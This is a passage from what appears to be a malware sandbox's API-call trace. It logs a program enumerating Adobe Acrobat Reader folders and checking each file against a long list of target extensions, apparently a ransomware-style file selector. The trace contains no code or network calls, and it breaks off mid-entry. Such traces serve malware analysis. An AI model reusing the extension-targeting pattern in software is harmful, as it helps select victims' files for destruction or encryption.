cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0276.656] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.657] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.657] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.657] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0276.657] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.657] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0276.657] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.657] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\zh-cn\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0276.675] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.675] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x515, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.675] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x515, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.675] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0276.675] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.675] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf10e716b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0276.676] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.676] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\zh-tw\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157f0 [0276.676] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.676] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x50a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.676] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x50a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.676] FindClose (in: hFindFile=0x33157f0 | out: hFindFile=0x33157f0) returned 1 [0276.677] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.677] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf10e716b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0276.677] FindClose (in: hFindFile=0x3315af0 | out: hFindFile=0x3315af0) returned 1 [0276.677] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0276.677] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xce0d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0276.677] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xbac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="selector.js", cAlternateFileName="")) returned 1 [0276.677] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xbac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="selector.js", cAlternateFileName="")) returned 0 [0276.677] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0276.677] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0276.680] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0276.680] FindClose (in: hFindFile=0x3315b70 | out: hFindFile=0x3315b70) returned 1 [0276.680] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5050048 | out: hHeap=0x670000) returned 1 [0276.680] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop-connector-files-select", cAlternateFileName="DESKTO~1")) returned 1 [0276.680] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5050048 [0276.680] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files-select\\*", lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0276.682] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.682] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0276.682] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0276.683] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files-select\\css\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315af0 [0276.727] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.727] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x645, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0276.727] lstrlenW (lpString="main-selector.css") returned 17 [0276.727] lstrlenW (lpString=".1cd") returned 4 [0276.728] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0276.728] lstrlenW (lpString=".3ds") returned 4 [0276.728] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0276.728] lstrlenW (lpString=".3fr") returned 4 [0276.728] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0276.728] lstrlenW (lpString=".3g2") returned 4 [0276.728] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0276.728] lstrlenW (lpString=".3gp") returned 4 [0276.728] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0276.728] lstrlenW (lpString=".7z") returned 3 [0276.728] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0276.728] lstrlenW (lpString=".accda") returned 6 [0276.728] lstrcmpiW (lpString1=".accda", lpString2="or.css") returned -1 [0276.728] lstrlenW (lpString=".accdb") returned 6 [0276.728] lstrcmpiW (lpString1=".accdb", lpString2="or.css") returned -1 [0276.728] lstrlenW (lpString=".accdc") returned 6 [0276.728] lstrcmpiW (lpString1=".accdc", lpString2="or.css") returned -1 [0276.728] lstrlenW (lpString=".accde") returned 6 [0276.728] lstrcmpiW (lpString1=".accde", lpString2="or.css") returned -1 [0276.728] lstrlenW (lpString=".accdt") returned 6 [0276.728] lstrcmpiW (lpString1=".accdt", lpString2="or.css") returned -1 [0276.728] lstrlenW (lpString=".accdw") returned 6 [0276.728] lstrcmpiW (lpString1=".accdw", lpString2="or.css") returned -1 [0276.728] lstrlenW (lpString=".adb") returned 4 [0276.728] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0276.728] lstrlenW (lpString=".adp") returned 4 [0276.728] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0276.729] lstrlenW (lpString=".ai") returned 3 [0276.729] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0276.729] lstrlenW (lpString=".ai3") returned 4 [0276.729] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0276.729] lstrlenW (lpString=".ai4") returned 4 [0276.729] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0276.729] lstrlenW (lpString=".ai5") returned 4 [0276.729] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0276.729] lstrlenW (lpString=".ai6") returned 4 [0276.729] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0276.729] lstrlenW (lpString=".ai7") returned 4 [0276.729] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0276.729] lstrlenW (lpString=".ai8") returned 4 [0276.729] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0276.729] lstrlenW (lpString=".anim") returned 5 [0276.729] lstrcmpiW (lpString1=".anim", lpString2="r.css") returned -1 [0276.729] lstrlenW (lpString=".arw") returned 4 [0276.729] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0276.729] lstrlenW (lpString=".as") returned 3 [0276.729] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0276.729] lstrlenW (lpString=".asa") returned 4 [0276.729] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0276.729] lstrlenW (lpString=".asc") returned 4 [0276.729] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0276.729] lstrlenW (lpString=".ascx") returned 5 [0276.729] lstrcmpiW (lpString1=".ascx", lpString2="r.css") returned -1 [0276.729] lstrlenW (lpString=".asm") returned 4 [0276.729] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0276.730] lstrlenW (lpString=".asmx") returned 5 [0276.730] lstrcmpiW (lpString1=".asmx", lpString2="r.css") returned -1 [0276.730] lstrlenW (lpString=".asp") returned 4 [0276.730] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0276.730] lstrlenW (lpString=".aspx") returned 5 [0276.730] lstrcmpiW (lpString1=".aspx", lpString2="r.css") returned -1 [0276.730] lstrlenW (lpString=".asr") returned 4 [0276.730] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0276.730] lstrlenW (lpString=".asx") returned 4 [0276.730] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0276.730] lstrlenW (lpString=".avi") returned 4 [0276.730] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0276.730] lstrlenW (lpString=".avs") returned 4 [0276.730] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0276.730] lstrlenW (lpString=".backup") returned 7 [0276.730] lstrcmpiW (lpString1=".backup", lpString2="tor.css") returned -1 [0276.730] lstrlenW (lpString=".bak") returned 4 [0276.730] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0276.730] lstrlenW (lpString=".bay") returned 4 [0276.730] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0276.730] lstrlenW (lpString=".bd") returned 3 [0276.730] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0276.730] lstrlenW (lpString=".bin") returned 4 [0276.730] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0276.730] lstrlenW (lpString=".bmp") returned 4 [0276.730] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0276.730] lstrlenW (lpString=".bz2") returned 4 [0276.731] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0276.731] lstrlenW (lpString=".c") returned 2 [0276.731] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0276.731] lstrlenW (lpString=".cdr") returned 4 [0276.731] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0276.731] lstrlenW (lpString=".cer") returned 4 [0276.731] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0276.731] lstrlenW (lpString=".cf") returned 3 [0276.731] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0276.731] lstrlenW (lpString=".cfc") returned 4 [0276.731] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0276.731] lstrlenW (lpString=".cfm") returned 4 [0276.731] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0276.731] lstrlenW (lpString=".cfml") returned 5 [0276.731] lstrcmpiW (lpString1=".cfml", lpString2="r.css") returned -1 [0276.731] lstrlenW (lpString=".cfu") returned 4 [0276.731] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0276.731] lstrlenW (lpString=".chm") returned 4 [0276.731] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0276.731] lstrlenW (lpString=".cin") returned 4 [0276.731] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0276.731] lstrlenW (lpString=".class") returned 6 [0276.731] lstrcmpiW (lpString1=".class", lpString2="or.css") returned -1 [0276.731] lstrlenW (lpString=".clx") returned 4 [0276.731] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0276.731] lstrlenW (lpString=".config") returned 7 [0276.731] lstrcmpiW (lpString1=".config", lpString2="tor.css") returned -1 [0276.732] lstrlenW (lpString=".cpp") returned 4 [0276.732] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0276.732] lstrlenW (lpString=".cr2") returned 4 [0276.732] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0276.732] lstrlenW (lpString=".crt") returned 4 [0276.732] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0276.732] lstrlenW (lpString=".crw") returned 4 [0276.732] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0276.732] lstrlenW (lpString=".cs") returned 3 [0276.732] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0276.732] lstrlenW (lpString=".css") returned 4 [0276.732] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0276.732] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1014, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 1 [0276.732] lstrlenW (lpString="main.css") returned 8 [0276.732] lstrlenW (lpString=".1cd") returned 4 [0276.732] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0276.732] lstrlenW (lpString=".3ds") returned 4 [0276.732] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0276.732] lstrlenW (lpString=".3fr") returned 4 [0276.732] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0276.732] lstrlenW (lpString=".3g2") returned 4 [0276.732] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0276.733] lstrlenW (lpString=".3gp") returned 4 [0276.733] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0276.733] lstrlenW (lpString=".7z") returned 3 [0276.733] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0276.733] lstrlenW (lpString=".accda") returned 6 [0276.733] lstrcmpiW (lpString1=".accda", lpString2="in.css") returned -1 [0276.733] lstrlenW (lpString=".accdb") returned 6 [0276.733] lstrcmpiW (lpString1=".accdb", lpString2="in.css") returned -1 [0276.733] lstrlenW (lpString=".accdc") returned 6 [0276.733] lstrcmpiW (lpString1=".accdc", lpString2="in.css") returned -1 [0276.733] lstrlenW (lpString=".accde") returned 6 [0276.733] lstrcmpiW (lpString1=".accde", lpString2="in.css") returned -1 [0276.733] lstrlenW (lpString=".accdt") returned 6 [0276.733] lstrcmpiW (lpString1=".accdt", lpString2="in.css") returned -1 [0276.733] lstrlenW (lpString=".accdw") returned 6 [0276.733] lstrcmpiW (lpString1=".accdw", lpString2="in.css") returned -1 [0276.733] lstrlenW (lpString=".adb") returned 4 [0276.733] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0276.733] lstrlenW (lpString=".adp") returned 4 [0276.733] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0276.733] lstrlenW (lpString=".ai") returned 3 [0276.733] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0276.733] lstrlenW (lpString=".ai3") returned 4 [0276.733] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0276.733] lstrlenW (lpString=".ai4") returned 4 [0276.734] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0276.734] lstrlenW (lpString=".ai5") returned 4 [0276.734] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0276.734] lstrlenW (lpString=".ai6") returned 4 [0276.734] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0276.734] lstrlenW (lpString=".ai7") returned 4 [0276.734] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0276.734] lstrlenW (lpString=".ai8") returned 4 [0276.734] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0276.734] lstrlenW (lpString=".anim") returned 5 [0276.734] lstrcmpiW (lpString1=".anim", lpString2="n.css") returned -1 [0276.734] lstrlenW (lpString=".arw") returned 4 [0276.734] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0276.734] lstrlenW (lpString=".as") returned 3 [0276.734] lstrcmpiW (lpString1=".as", lpString2="css") 